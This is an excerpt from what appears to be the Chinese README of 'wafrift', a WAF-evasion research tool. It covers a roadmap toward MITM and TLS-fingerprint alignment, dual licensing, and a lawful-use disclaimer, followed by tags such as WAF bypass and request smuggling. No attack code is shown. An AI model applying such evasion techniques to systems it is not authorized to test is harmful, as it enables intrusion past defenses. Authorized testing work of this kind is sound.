伪头部滥用 | ## 路径对齐路线图(proxy, TLS, origin, egress) 请参阅 [docs/GAP_CLOSURE_ROADMAP.md](docs/GAP_CLOSURE_ROADMAP.md) 以了解分阶段实现 EvilWAF 级别工作流(HTTPS MITM,JA3 对齐,侦察)的工作。支持文档:[docs/PROXY_TOOLING.md](docs/PROXY_TOOLING.md),[docs/TLS_PARITY.md](docs/TLS_PARITY.md)。 ## 许可证 根据以下任一许可证授权 - Apache License, Version 2.0 ([LICENSE-APACHE](LICENSE-APACHE) 或 ) - MIT license ([LICENSE-MIT](LICENSE-MIT) 或 ) 由您选择。 ### 贡献 除非您明确声明,否则您有意提交以包含在作品中的任何贡献,均应按上述方式双重许可,无任何额外条款或条件,如 Apache-2.0 许可证中所定义。 ## 合法使用与仓库责任 wafrift 是一种双用途的安全研究软件。它实现的 WAF 规避技术,如果您在未拥有或未获得书面授权进行测试的系统上执行,可能会违反计算机滥用法(美国的 CFAA,英国的 Computer Misuse Act,德国的 StGB §202c,以及其他地区的同等法规)。下载、构建或运行 wafrift 即表示您同意: 1. **授权完全由您自己承担。** 您只会在您拥有、运营或获得明确书面授权进行测试的系统上运行 wafrift:漏洞赏金范围、签署的渗透测试协议、CTF 规则或受您控制的实验室基础设施。在每次测试任务之前验证范围。 2. **法律责任转移给操作员。** Santh Security 的维护者、贡献者和项目本身对由您使用该工具产生的流量、造成的损害或引发的法律风险不承担任何责任。 3. **未经授权的使用不在任何支持范围内。** 我们不会帮助用户绕过保护他们无权交互系统的 WAF。滥用行为的报告可能会被转发给受影响组织的 `abuse@` 或法律渠道。 完整条款和报告工作流程请参见 [`SECURITY.md`](./SECURITY.md#lawful-use--repository-responsibility) 和 [`CODE_OF_CONDUCT.md`](./CODE_OF_CONDUCT.md#lawful-use--repository-responsibility)。
标签:AppImage, Burp Suite, CISA项目, HTTP指纹伪装, HTTP请求走私, Python安全, Rust, SEO检索词, TLS指纹伪造, WAF绕过, WAF逃避, Web应用防火墙, 中间人攻击, 变异引擎, 可视化界面, 安全测试, 密码管理, 攻击性安全, 编码绕过, 网络安全, 网络流量审计, 自动化绕过, 语法感知变异, 通知系统, 隐私保护